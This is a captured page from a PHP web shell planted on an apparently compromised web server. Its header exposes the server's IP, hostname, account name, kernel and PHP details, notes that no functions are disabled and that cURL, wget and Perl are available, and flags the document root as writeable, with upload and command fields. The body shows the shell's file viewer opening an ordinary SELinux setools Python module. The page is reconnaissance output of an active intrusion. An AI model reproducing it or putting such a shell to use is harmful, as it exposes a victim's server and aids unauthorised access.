403Webshell
Server IP : 104.21.20.151  /  Your IP : 216.73.216.217
Web Server : Apache
System : Linux sr32.hostlife.net 6.12.0-124.52.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Sat May 2 09:06:54 EDT 2026 x86_64
User : golfb689 ( 1071)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/python3.12/site-packages/setools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.12/site-packages/setools/rolequery.py
# Copyright 2014-2015, Tresys Technology, LLC
#
# SPDX-License-Identifier: LGPL-2.1-only
#
from collections.abc import Iterable
import typing

from . import mixins, policyrep, query, util
from .descriptors import CriteriaSetDescriptor

__all__: typing.Final[tuple[str, ...]] = ("RoleQuery",)


class RoleQuery(mixins.MatchName, query.PolicyQuery):

    """
    Query SELinux policy roles.

    Parameter:
    policy            The policy to query.

    Keyword Parameters/Class attributes:
    name         The role name to match.
    name_regex   If true, regular expression matching
                 will be used on the role names.
    types        The type to match.
    types_equal  If true, only roles with type sets
                 that are equal to the criteria will
                 match.  Otherwise, any intersection
                 will match.
    types_regex  If true, regular expression matching
                 will be used on the type names instead
                 of set logic.
    """

    types = CriteriaSetDescriptor[policyrep.Type]("types_regex", "lookup_type")
    types_equal: bool = False
    types_regex: bool = False

    def results(self) -> Iterable[policyrep.Role]:
        """Generator which yields all matching roles."""
        self.log.info(f"Generating role results from {self.policy}")
        self._match_name_debug(self.log)
        self.log.debug(f"{self.types=}, {self.types_regex=}, {self.types_equal=}")

        for r in self.policy.roles():
            if not self._match_name(r):
                continue

            if self.types and not util.match_regex_or_set(
                    set(r.types()),
                    self.types,
                    self.types_equal,
                    self.types_regex):
                continue

            yield r

Youez - 2016 - github.com/yon3zu
LinuXploit